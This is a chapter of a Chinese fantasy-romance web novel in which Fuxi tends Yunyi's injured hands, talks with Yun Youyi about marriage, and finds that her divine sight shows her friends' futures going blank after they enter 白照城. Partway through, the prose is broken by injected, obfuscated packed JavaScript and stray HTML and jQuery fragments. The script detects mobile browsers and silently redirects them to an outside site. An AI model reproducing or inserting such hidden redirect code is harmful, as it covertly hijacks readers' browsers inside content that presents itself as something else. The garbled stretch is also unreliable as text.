96. 空白
作品:《我们是真有神助》 隔壁扶曦与云幼颐叫了水,分别洗过后,便并肩躺在了床上,她们一路都在马车上,相比起他们,身体并未十分疲惫。
刚才趁店小二加铺盖之际,扶曦先在房内为昀燚换了伤药,他身体强壮,伤口早已愈合,只是还是不可避免留了些难看的疤痕,林大夫走前特地叮嘱他们要将伤药全部上完方行,于是每日夜间扶曦还是压着昀燚,为他换药。
之前他趴在她的腿上,两人要么左一言右一语地聊几句,要么昀燚就歪着头有一下没一下地把玩她衣服上的流苏装饰,可是这几日实在是太累了,他趴在她膝上一眨眼便睡着了。
但他偏偏又十分珍惜每日这短暂的独处时间,困得迷迷糊糊,但仍不放弃开口与她说话,只不过这出口的话自然也迷迷糊糊起来,让人听了半晌都不知他到底在说什么。
扶曦没有打扰他,专心为他上药,但还是被他突如其来哼哼的几句梦话忍不住逗笑。
上完药后,她将药瓶收好,为他轻轻穿上了衣服,手触碰到他手的瞬间,注意到了他手指间红肿的冻疮,心间一哽,翻开了他的手掌,之前指节分明的一双玉手,此刻掌心布满了皮革磨出来的血痕。
望着他熟睡中轻颤的睫毛,她的内心竟也跟着一同颤抖,深吸一口气,她伸手抹去了脸颊上的泪痕,重新取了伤药来轻柔地抹在他的手掌和指尖。
隔壁房间被褥布置好了,外面小二说了一声,昀燚便警觉地立时睁开了仍旧疲惫的双眼,他坐起来缓了片刻,没想到自己居然趴在扶曦身上睡着了。
不知是不是刚才做了噩梦,醒来后便立马寻找扶曦的身影,见她仍坐在自己身边,这才安下了心,藏起眼底的担忧和恐惧,侧身穿上外衣,这时才慢慢地感觉出手掌不同寻常的触感。
低头一看,便看清了手上脂状的膏体,瞬间便心领神会,转头对上她水波荡漾的眼,唇边笑意上扬。
“谢谢你阿扶。”,他现在总爱这么叫她。
他欣喜地又凑到了她的面前,亮着一双眸近距离盯着她。
“你关心我,我好开心。”
扶曦被他忽如其来地靠近惊得习惯性往后一仰,她用着常羲的身体时常刻意避免与他的接触。
昀燚知道她的顾虑,所以也忍耐着不与她进一步接触,除非实在忍不住,就像现在这般。
他握住她的手放在嘴边,轻轻印下一吻,保持着距离,却也明确地告诉她,他欣喜难耐。
得寸进尺之后,他红着耳尖不敢看她的眼睛,起身准备落荒而逃,不想刚到房门口便听见身后扶曦轻声的呼唤。
“等等。”
昀燚心尖微颤,顿住脚步回过了头。
扶曦走了过来,对着他举起了自己的手。
昀燚盯着她的手,眼神发飘,结果便听见她接着说。
“你把伤药拿过去,让他们记得上药。”
说完看他还在发怵,她摊开了自己掌心,示意他手上的伤口。
昀燚立时便懂了,可嘴也瞬时瘪了下来,虽然他们确实也该上药,但这是扶曦专门为他上药的伤药,分给他们不就很快便用完了吗?
瞧出他闹别扭了,扶曦噗呲一笑,扬手摸了摸他垂下的脸颊。
“林大夫给得有多的,快去吧。”
昀燚表情这才终于又明朗了起来,捧上她的手又用侧脸蹭了蹭,这才出房回了隔壁。
站在走廊上靠墙等待的云幼颐抱臂望着昀燚脸颊上可疑的绯红,慢慢眯起了眼,侧头小声对一旁的景嵚蛐蛐。
“原来昀燚哥哥坠入爱河是这副德行。”
景嵚也一眨不眨盯着脸色反常的昀燚瞧,手扶在下颌上,点了点头又摇了摇头。
“感觉是个人都难逃。”
他话说得低沉,却还是被已经进房的昀燚听了去,他倏然侧头射来森寒的视线,两人立时便住了嘴,抿着嘴拜拜后,一左一右各自回了自己的房间。
夜间云幼颐和扶曦躺在床上,一时难以入睡,云幼颐双手撑在脑后,盯着头顶的床帐出神,听见身边扶曦的呼吸声均匀,不知她是不是已经睡着了,于是轻轻地出声试探了一句。
“小曦?”
扶曦侧睡在外侧,此刻也还未入睡,在黑暗中望着窗纸间透进来的朦胧月光正出神。
“嗯?”
没想到这么快便等到了扶曦的回答,云幼颐一时来了兴致,也朝外翻身凑了过来,与扶曦睡在了同一个枕头上,嗅到她发间清新的皂角味,满足地深吸一口气环抱住她的腰,在她耳边问。
“小曦,你上一世成亲了吗?”
扶曦没想到她在好奇这些,本想习惯地读一下她的心,但是想到昀燚之前说的,与亲近之人能直接沟通之事便不要用神力,她后来仔细想过确实,人与人交际在乎一个交互,若省去这个步骤难免无趣,且对别人也不公平,于是现下她每每发动神力前都会先思考一下必要性。
“没有。”
她前世十八岁便殒命了,虽然之前被有心人哄骗着差点也定下了婚约,但是最后因为种种原因并没定下来,况且前世世道混乱,战火纷飞,世人拼尽全力都想争夺她与风希,她们四处躲藏,成婚只会拖累家人。
云幼颐没想这么多,她也无法想象出五百年前的人间是什么模样,她熟悉的还是后来人世对于女子的一贯教育,在她的认知里,女子总是要成婚的,但是她也有自己的想法,她并不想听从媒妁之言嫁与她并不熟悉之人。
她认为成婚是一辈子的事,当然要选择自己心爱的夫婿。
“怎么了?幼颐在担心自己的婚事吗?”
见身后的云幼颐一时没再接话,扶曦顺着她的情绪试探地问。
云幼颐闻言顿时羞红了脸,这话题对于她还是太大胆了,虽然她觉得与好朋友随便聊聊也没什么,但是被这般直白地点出,还是猝然令她左右无措羞涩起来。
“我……我也,也没有……”
听见她声音嘟嘟囔囔起来,扶曦便知道她是害羞了,心内轻笑着等她的后话。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15425774|153766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“我就是在想以后,不知道以后会是什么样?那时我会在哪里?会过着怎样的生活?”
云幼颐嗓音愈加轻缓,慢慢地便透出了许多平日在她身上看不见的情绪,缠绕在一起的,一时难以解开的情绪。
扶曦还是不熟悉用语言去安慰旁人,听见她的疑惑,她首先想到的还是直接用神力去帮她看看,这么想着她便也这么做了。
她悄悄走进了云幼颐是魂识间,抬手拨划她心间的湖面,等待漾起涟漪浮现出她人生种种的画面。
刹那间,感受到她的神力,平静的湖面激起层层水花,水滴下落间,拿下画面便隐在其间,一幕一幕全是云幼颐不同的脸色,身边形形色色的人,身处完全不同的场景里。
她站在湖边将所有一切收入眼底,心下已经了然,不管她再怎么改变,永远都会有个人陪伴在她的身侧。
可能以云幼颐自己的视角无法发现,但是站在旁观者的角度再去看许多画面,景嵚永远都在她不远的距离里安静地注视着她,一刻也不曾离开。
扶曦看着这些画面,发自心底露出了笑容,收了神力便要转身回到现世,水滴下落重新融于心湖,涟漪荡平没了痕迹,但却在最后一瞬,她忽然注意到了几张空白的画面。
按着时间线推断,最后落下的应该便是不久后的经历,可是为什么会是连成片的白色?
扶曦回到现世时,云幼颐已经趴在她的身上睡着了,她缓缓翻身将她好好放回了里侧的枕头上,随后独自平躺在外侧床榻上陷入了深思。
怎么都想不通,她又一次进去了云幼颐的魂识,再次确认了一遍,最后那几处依旧是一片空白,准确的数,是在他们一行进入了白照城后,便是一片空白了。
她疑惑地拧紧了眉,又陆续检查了一遍隔壁几人的魂识,同样的,都是在进入白照城后便一片空白了。
这是为何?
仔细想来,从她复活之后,一路上不断遭遇了几次从来没有发生过的情况,仿佛就像有人一直在针对她一般,可她之前神力不足,探不到这么远的以后,如今神力差不多恢复了,看到的却是一片空白。
到底是谁,会对她的神力如此之熟悉,精准地预防了她的探视。
她的神力还差一点才能完全蓄满,她想,等待她重回前世的状态后,或许便能破除这些障眼的招式了,所以尽管心下已如热锅蚂蚁般不安,她还是强制自己冷静了下来,毕竟眼下最大的困难还是先平安度过这雪天,她现在需要的是保持体力,加快蓄神力。
夜色沉沉,扶曦闭上了双眼,双手互相掐在一处,不断暗示自己将脑中的杂念抛下进入睡眠。
第二日清晨,按照约定几人与辰时下楼与商队集合,刚才吃早膳时,云幼颐便感受到了扶曦的异常,一直小心地观察着她。
现下进入马车后,见她头倒在车厢上闭目养神,她周身仍然撒发出疲惫阴寒的气息,云幼颐踌躇了半晌最后还是识相地没开口,安静地坐在一侧没发出其他声音。